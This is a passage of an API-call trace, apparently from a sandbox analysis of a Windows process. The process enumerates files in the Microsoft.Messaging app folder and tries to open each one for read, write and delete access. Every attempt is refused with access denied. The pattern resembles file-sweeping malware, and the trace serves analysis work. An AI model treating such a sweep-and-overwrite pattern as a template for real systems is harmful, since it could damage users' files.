	[0090.754] wcscpy (in: _Dest=0x4776760, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.754] wcscat (in: _Dest=0x4776760, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.754] wcscat (in: _Dest=0x4776760, _Source="starttile.dualsim1.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.scale-200.png"
	[0090.754] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\starttile.dualsim1.scale-200.png")) returned 0x20
	[0090.754] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.754] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\starttile.dualsim1.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.754] GetLastError () returned 0x5
	[0090.754] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.754] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776760) returned 1
	[0090.754] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28ada3d2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28ada3d2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28ada3d2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x568, dwReserved0=0x0, dwReserved1=0x0, cFileName="starttile.dualsim1.smile.scale-200.png", cAlternateFileName="")) returned 1
	[0090.754] wcscmp (_String1="starttile.dualsim1.smile.scale-200.png", _String2=".") returned 1
	[0090.754] wcscmp (_String1="starttile.dualsim1.smile.scale-200.png", _String2="..") returned 1
	[0090.755] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x5028530
	[0090.755] wcscpy (in: _Dest=0x5028530, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.755] wcscat (in: _Dest=0x5028530, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.755] wcscat (in: _Dest=0x5028530, _Source="starttile.dualsim1.smile.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.smile.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.smile.scale-200.png"
	[0090.755] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.smile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\starttile.dualsim1.smile.scale-200.png")) returned 0x20
	[0090.757] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.smile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.757] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.smile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\starttile.dualsim1.smile.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.757] GetLastError () returned 0x5
	[0090.757] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.smile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.757] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5028530) returned 1
	[0090.757] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28ada3d2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28b0062b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28b0062b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="starttile.dualsim1.smile.small.scale-200.png", cAlternateFileName="")) returned 1
	[0090.757] wcscmp (_String1="starttile.dualsim1.smile.small.scale-200.png", _String2=".") returned 1
	[0090.757] wcscmp (_String1="starttile.dualsim1.smile.small.scale-200.png", _String2="..") returned 1
	[0090.757] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2d5b2a8
	[0090.757] wcscpy (in: _Dest=0x2d5b2a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.757] wcscat (in: _Dest=0x2d5b2a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.757] wcscat (in: _Dest=0x2d5b2a8, _Source="starttile.dualsim1.smile.small.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.smile.small.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.smile.small.scale-200.png"
	[0090.758] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.smile.small.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\starttile.dualsim1.smile.small.scale-200.png")) returned 0x20
	[0090.758] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.smile.small.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.758] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.smile.small.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\starttile.dualsim1.smile.small.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.758] GetLastError () returned 0x5
	[0090.758] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.smile.small.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.758] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5b2a8) returned 1
	[0090.758] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28b0062b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28b0062b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28b0062b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="starttile.dualsim1.surprise.scale-200.png", cAlternateFileName="")) returned 1
	[0090.758] wcscmp (_String1="starttile.dualsim1.surprise.scale-200.png", _String2=".") returned 1
	[0090.758] wcscmp (_String1="starttile.dualsim1.surprise.scale-200.png", _String2="..") returned 1
	[0090.758] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x4716d10
	[0090.758] wcscpy (in: _Dest=0x4716d10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.758] wcscat (in: _Dest=0x4716d10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.758] wcscat (in: _Dest=0x4716d10, _Source="starttile.dualsim1.surprise.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.surprise.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.surprise.scale-200.png"
	[0090.758] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.surprise.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\starttile.dualsim1.surprise.scale-200.png")) returned 0x20
	[0090.761] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.surprise.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.761] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.surprise.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\starttile.dualsim1.surprise.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.761] GetLastError () returned 0x5
	[0090.761] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.surprise.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.762] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716d10) returned 1
	[0090.762] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28b0062b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28b0062b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28b0062b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x433, dwReserved0=0x0, dwReserved1=0x0, cFileName="starttile.dualsim1.surprise.small.scale-200.png", cAlternateFileName="")) returned 1
	[0090.762] wcscmp (_String1="starttile.dualsim1.surprise.small.scale-200.png", _String2=".") returned 1
	[0090.762] wcscmp (_String1="starttile.dualsim1.surprise.small.scale-200.png", _String2="..") returned 1
	[0090.762] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x110) returned 0x2d5b2a8
	[0090.762] wcscpy (in: _Dest=0x2d5b2a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.762] wcscat (in: _Dest=0x2d5b2a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.762] wcscat (in: _Dest=0x2d5b2a8, _Source="starttile.dualsim1.surprise.small.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.surprise.small.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.surprise.small.scale-200.png"
	[0090.762] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.surprise.small.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\starttile.dualsim1.surprise.small.scale-200.png")) returned 0x20
	[0090.762] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.surprise.small.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.762] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.surprise.small.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\starttile.dualsim1.surprise.small.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.762] GetLastError () returned 0x5
	[0090.762] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.surprise.small.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.762] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5b2a8) returned 1
	[0090.762] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28b0062b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28b0062b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28b0062b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x568, dwReserved0=0x0, dwReserved1=0x0, cFileName="starttile.dualsim1.wink.scale-200.png", cAlternateFileName="")) returned 1
	[0090.762] wcscmp (_String1="starttile.dualsim1.wink.scale-200.png", _String2=".") returned 1
	[0090.762] wcscmp (_String1="starttile.dualsim1.wink.scale-200.png", _String2="..") returned 1
	[0090.762] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x5027198
	[0090.763] wcscpy (in: _Dest=0x5027198, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.763] wcscat (in: _Dest=0x5027198, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.763] wcscat (in: _Dest=0x5027198, _Source="starttile.dualsim1.wink.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.wink.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.wink.scale-200.png"
	[0090.763] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.wink.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\starttile.dualsim1.wink.scale-200.png")) returned 0x20
	[0090.766] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.wink.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.766] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.wink.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\starttile.dualsim1.wink.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.766] GetLastError () returned 0x5
	[0090.766] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.wink.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.766] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5027198) returned 1
	[0090.766] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28b0062b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28b0062b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28b0062b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="starttile.dualsim1.wink.small.scale-200.png", cAlternateFileName="")) returned 1
	[0090.766] wcscmp (_String1="starttile.dualsim1.wink.small.scale-200.png", _String2=".") returned 1
	[0090.766] wcscmp (_String1="starttile.dualsim1.wink.small.scale-200.png", _String2="..") returned 1
	[0090.766] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x108) returned 0x47173a0
	[0090.766] wcscpy (in: _Dest=0x47173a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.766] wcscat (in: _Dest=0x47173a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.766] wcscat (in: _Dest=0x47173a0, _Source="starttile.dualsim1.wink.small.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.wink.small.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.wink.small.scale-200.png"
	[0090.766] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.wink.small.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\starttile.dualsim1.wink.small.scale-200.png")) returned 0x20
	[0090.767] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.wink.small.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.767] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.wink.small.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\starttile.dualsim1.wink.small.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.767] GetLastError () returned 0x5
	[0090.767] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.wink.small.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.767] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47173a0) returned 1
	[0090.767] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28b0062b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28b359c6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28b359c6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x607, dwReserved0=0x0, dwReserved1=0x0, cFileName="starttile.dualsim2.sad.scale-200.png", cAlternateFileName="")) returned 1
	[0090.767] wcscmp (_String1="starttile.dualsim2.sad.scale-200.png", _String2=".") returned 1
	[0090.767] wcscmp (_String1="starttile.dualsim2.sad.scale-200.png", _String2="..") returned 1
	[0090.767] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x50278d0
	[0090.768] wcscpy (in: _Dest=0x50278d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.768] wcscat (in: _Dest=0x50278d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.768] wcscat (in: _Dest=0x50278d0, _Source="starttile.dualsim2.sad.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim2.sad.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim2.sad.scale-200.png"
	[0090.768] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim2.sad.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\starttile.dualsim2.sad.scale-200.png")) 

Thread:
	id = 926
	os_tid = 0x136c

	[0082.290] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\BuildInfo.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\buildinfo.xml")) returned 0x20
	[0082.292] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\BuildInfo.xml", dwFileAttributes=0x20) returned 0
	[0082.292] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\BuildInfo.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\buildinfo.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.292] GetLastError () returned 0x5
	[0082.292] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\BuildInfo.xml", dwFileAttributes=0x20) returned 0
	[0082.293] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476f998) returned 1

Thread:
	id = 927
	os_tid = 0x111c

	[0082.293] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.Apps.Messaging.Base.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.apps.messaging.base.winmd")) returned 0x20
